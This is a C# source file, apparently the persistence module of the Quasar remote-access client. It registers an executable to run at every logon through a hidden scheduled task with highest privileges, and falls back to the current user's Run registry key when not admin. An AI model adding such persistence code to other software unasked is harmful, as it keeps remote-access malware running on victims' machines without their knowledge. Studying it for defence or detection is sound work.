53 lines
1.8 KiB
C#
53 lines
1.8 KiB
C#
using Microsoft.Win32;
|
|
using Quasar.Client.Helper;
|
|
using Quasar.Common.Enums;
|
|
using System.Diagnostics;
|
|
|
|
namespace Quasar.Client.Setup
|
|
{
|
|
public class ClientStartup : ClientSetupBase
|
|
{
|
|
public void AddToStartup(string executablePath, string startupName)
|
|
{
|
|
if (UserAccount.Type == AccountType.Admin)
|
|
{
|
|
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
|
{
|
|
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
|
|
"\" /rl HIGHEST /f",
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true
|
|
};
|
|
|
|
Process p = Process.Start(startInfo);
|
|
p.WaitForExit(1000);
|
|
if (p.ExitCode == 0) return;
|
|
}
|
|
|
|
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
|
|
true);
|
|
}
|
|
|
|
public void RemoveFromStartup(string startupName)
|
|
{
|
|
if (UserAccount.Type == AccountType.Admin)
|
|
{
|
|
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
|
{
|
|
Arguments = "/delete /tn \"" + startupName + "\" /f",
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true
|
|
};
|
|
|
|
Process p = Process.Start(startInfo);
|
|
p.WaitForExit(1000);
|
|
if (p.ExitCode == 0) return;
|
|
}
|
|
|
|
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
|
|
}
|
|
}
|
|
}
|